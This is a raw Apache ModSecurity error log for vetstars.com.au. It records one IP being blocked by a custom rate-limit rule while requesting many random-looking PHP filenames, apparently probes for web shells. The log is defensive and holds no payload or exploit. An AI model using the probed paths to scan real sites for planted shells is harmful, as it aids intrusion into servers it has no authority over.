[Tue Dec 23 20:32:50.681148 2025] [:error] [pid 11812:tid 11828] [client 20.196.109.137:13198] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUqL8rBkIQ4nTXm4A3UbxgAAAI4"]
[Tue Dec 23 20:32:51.213979 2025] [:error] [pid 3405:tid 3449] [client 20.196.109.137:13163] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUqL87dHHpIDpQ39rwlAGAAAAAw"]
[Tue Dec 23 20:32:51.993109 2025] [:error] [pid 11812:tid 11837] [client 20.196.109.137:13173] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUqL87BkIQ4nTXm4A3UbygAAAJc"]
[Tue Dec 23 20:32:52.695054 2025] [:error] [pid 3497:tid 3523] [client 20.196.109.137:13099] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUqL9OzUE6hZ8LJecSsVTgAAANc"]
[Tue Dec 23 20:32:53.592043 2025] [:error] [pid 3405:tid 3437] [client 20.196.109.137:13107] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUqL9bdHHpIDpQ39rwlAGwAAAAA"]
[Tue Dec 23 20:32:54.128731 2025] [:error] [pid 25976:tid 26002] [client 20.196.109.137:13091] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUqL9rF6LaWzQScE-xN9_gAAARg"]
[Tue Dec 23 20:32:54.912474 2025] [:error] [pid 3405:tid 3455] [client 20.196.109.137:13250] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUqL9rdHHpIDpQ39rwlAHAAAABI"]
[Tue Dec 23 20:32:55.704524 2025] [:error] [pid 3497:tid 3514] [client 20.196.109.137:13015] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUqL9-zUE6hZ8LJecSsVTwAAAM4"]
[Tue Dec 23 20:32:56.566109 2025] [:error] [pid 11812:tid 11836] [client 20.196.109.137:13302] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUqL-LBkIQ4nTXm4A3UbzQAAAJY"]
[Tue Dec 23 20:32:57.150823 2025] [:error] [pid 11812:tid 11825] [client 20.196.109.137:13204] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUqL-bBkIQ4nTXm4A3UbzgAAAIs"]
[Tue Dec 23 20:32:57.601829 2025] [:error] [pid 11812:tid 11824] [client 20.196.109.137:13183] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUqL-bBkIQ4nTXm4A3UbzwAAAIo"]
[Tue Dec 23 20:32:58.146199 2025] [:error] [pid 54297:tid 54323] [client 20.196.109.137:13065] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUqL-kZMNime0caoKPKiwAAAAZY"]
[Tue Dec 23 20:32:58.767710 2025] [:error] [pid 54340:tid 54361] [client 20.196.109.137:13188] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUqL-pye8-oij4iGhogoLwAAAhM"]
[Tue Dec 23 20:32:59.384835 2025] [:error] [pid 54340:tid 54352] [client 20.196.109.137:13090] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUqL-5ye8-oij4iGhogoMgAAAgo"]
[Tue Dec 23 20:32:59.951628 2025] [:error] [pid 25976:tid 25997] [client 20.196.109.137:13125] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUqL-7F6LaWzQScE-xN-BAAAARM"]
[Tue Dec 23 20:33:01.300028 2025] [:error] [pid 25976:tid 25981] [client 20.196.109.137:13249] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUqL_bF6LaWzQScE-xN-BgAAAQM"]
[Tue Dec 23 20:33:02.019046 2025] [:error] [pid 54408:tid 54429] [client 20.196.109.137:13191] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUqL_mup4YbWx_MWvp1WogAAApI"]
[Tue Dec 23 20:33:02.856631 2025] [:error] [pid 3406:tid 3481] [client 20.196.109.137:13285] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUqL_vn8DLWxW7TPzpHlxgAAAFE"]
[Tue Dec 23 20:33:03.849152 2025] [:error] [pid 3405:tid 3460] [client 20.196.109.137:13009] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUqL_7dHHpIDpQ39rwlAHgAAABc"]
[Tue Dec 23 20:33:04.535503 2025] [:error] [pid 3497:tid 3512] [client 20.196.109.137:13184] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aUqMAOzUE6hZ8LJecSsVUwAAAMw"]
[Tue Dec 23 20:33:05.162299 2025] [:error] [pid 54408:tid 54433] [client 20.196.109.137:13021] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUqMAWup4YbWx_MWvp1WpQAAApY"]
[Tue Dec 23 20:33:06.521809 2025] [:error] [pid 54375:tid 54381] [client 20.196.109.137:13192] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUqMAp1Yro3O5R2WY-BvrAAAAkQ"]
[Tue Dec 23 20:33:07.874423 2025] [:error] [pid 54340:tid 54342] [client 20.196.109.137:13077] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUqMA5ye8-oij4iGhogoNQAAAgA"]
[Tue Dec 23 20:33:08.540305 2025] [:error] [pid 3405:tid 3451] [client 20.196.109.137:13115] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aUqMBLdHHpIDpQ39rwlAIgAAAA4"]
[Tue Dec 23 20:33:09.005322 2025] [:error] [pid 54375:tid 54400] [client 20.196.109.137:13157] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUqMBZ1Yro3O5R2WY-BvrwAAAlc"]
[Tue Dec 23 20:33:09.668847 2025] [:error] [pid 54340:tid 54351] [client 20.196.109.137:13238] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUqMBZye8-oij4iGhogoOAAAAgk"]
[Tue Dec 23 20:33:10.493673 2025] [:error] [pid 25976:tid 25982] [client 20.196.109.137:13007] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUqMBrF6LaWzQScE-xN-CgAAAQQ"]
[Tue Dec 23 20:33:11.451962 2025] [:error] [pid 3405:tid 3453] [client 20.196.109.137:12994] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aUqMB7dHHpIDpQ39rwlAJAAAABA"]
[Tue Dec 23 20:33:12.207166 2025] [:error] [pid 54375:tid 54388] [client 20.196.109.137:13274] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUqMCJ1Yro3O5R2WY-BvsAAAAks"]
[Tue Dec 23 20:33:12.732792 2025] [:error] [pid 54408:tid 54425] [client 20.196.109.137:13005] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUqMCGup4YbWx_MWvp1WqAAAAo4"]
[Tue Dec 23 20:33:13.163243 2025] [:error] [pid 11812:tid 11822] [client 20.196.109.137:13127] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUqMCbBkIQ4nTXm4A3Ub2AAAAIg"]
[Tue Dec 23 20:33:14.202467 2025] [:error] [pid 3497:tid 3523] [client 20.196.109.137:13258] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUqMCuzUE6hZ8LJecSsVWQAAANc"]
[Tue Dec 23 20:33:15.281835 2025] [:error] [pid 3497:tid 3514] [client 20.196.109.137:13078] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUqMC-zUE6hZ8LJecSsVWgAAAM4"]
[Tue Dec 23 20:33:16.368990 2025] [:error] [pid 54297:tid 54313] [client 20.196.109.137:13252] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUqMDEZMNime0caoKPKixQAAAYw"]
[Tue Dec 23 20:34:06.090141 2025] [:error] [pid 3406:tid 3475] [client 20.196.109.137:13185] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUqMPvn8DLWxW7TPzpHmDwAAAEs"]
[Tue Dec 23 20:34:06.580766 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13290] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUqMPrdHHpIDpQ39rwlA-QAAAAQ"]
[Tue Dec 23 20:34:07.189090 2025] [:error] [pid 3405:tid 3446] [client 20.196.109.137:13124] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUqMP7dHHpIDpQ39rwlBAQAAAAk"]
[Tue Dec 23 20:34:07.700820 2025] [:error] [pid 3406:tid 3474] [client 20.196.109.137:13277] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUqMP_n8DLWxW7TPzpHmFAAAAEo"]
[Tue Dec 23 20:34:08.035786 2025] [:error] [pid 54375:tid 54387] [client 20.196.109.137:13300] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUqMQJ1Yro3O5R2WY-BvvQAAAko"]
[Tue Dec 23 20:34:08.459613 2025] [:error] [pid 3405:tid 3460] [client 20.196.109.137:13003] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUqMQLdHHpIDpQ39rwlBCgAAABc"]
[Tue Dec 23 20:34:09.016009 2025] [:error] [pid 3497:tid 3509] [client 20.196.109.137:13203] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUqMQezUE6hZ8LJecSsVdAAAAMk"]
[Tue Dec 23 20:34:09.877739 2025] [:error] [pid 54375:tid 54386] [client 20.196.109.137:13279] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUqMQZ1Yro3O5R2WY-BvvgAAAkk"]
[Tue Dec 23 20:34:10.358430 2025] [:error] [pid 3497:tid 3515] [client 20.196.109.137:13196] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUqMQuzUE6hZ8LJecSsVdQAAAM8"]
[Tue Dec 23 20:34:11.596187 2025] [:error] [pid 3497:tid 3516] [client 20.196.109.137:13291] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUqMQ-zUE6hZ8LJecSsVdwAAANA"]
[Tue Dec 23 20:34:13.158677 2025] [:error] [pid 3405:tid 3438] [client 20.196.109.137:13266] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUqMRbdHHpIDpQ39rwlBDQAAAAE"]
[Tue Dec 23 20:34:13.831025 2025] [:error] [pid 3497:tid 3502] [client 20.196.109.137:13181] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUqMRezUE6hZ8LJecSsVeQAAAMI"]
[Tue Dec 23 20:34:14.489036 2025] [:error] [pid 3497:tid 3517] [client 20.196.109.137:13206] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUqMRuzUE6hZ8LJecSsVfAAAANE"]
[Tue Dec 23 20:34:15.594790 2025] [:error] [pid 3497:tid 3514] [client 20.196.109.137:13150] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUqMR-zUE6hZ8LJecSsVgAAAAM4"]
[Tue Dec 23 20:34:16.980649 2025] [:error] [pid 54375:tid 54384] [client 20.196.109.137:13278] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUqMSJ1Yro3O5R2WY-BvwQAAAkc"]
[Tue Dec 23 20:34:18.151321 2025] [:error] [pid 3404:tid 3430] [client 20.196.109.137:13286] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aUqMSsJGbPWZNlrhVJdVcgAAAdU"]
[Tue Dec 23 20:34:19.266824 2025] [:error] [pid 54408:tid 54428] [client 20.196.109.137:13283] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUqMS2up4YbWx_MWvp1WwQAAApE"]
[Tue Dec 23 20:34:20.515704 2025] [:error] [pid 3404:tid 3417] [client 20.196.109.137:13226] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUqMTMJGbPWZNlrhVJdVdQAAAcg"]
[Tue Dec 23 20:34:21.486690 2025] [:error] [pid 3405:tid 3458] [client 20.196.109.137:13210] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUqMTbdHHpIDpQ39rwlBDgAAABU"]
[Tue Dec 23 20:34:22.810889 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13161] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUqMTrdHHpIDpQ39rwlBEAAAAAQ"]
[Tue Dec 23 20:34:23.567408 2025] [:error] [pid 3405:tid 3439] [client 20.196.109.137:13195] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUqMT7dHHpIDpQ39rwlBEQAAAAI"]
[Tue Dec 23 20:34:24.317233 2025] [:error] [pid 25976:tid 25991] [client 20.196.109.137:13126] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUqMULF6LaWzQScE-xN-RwAAAQ0"]
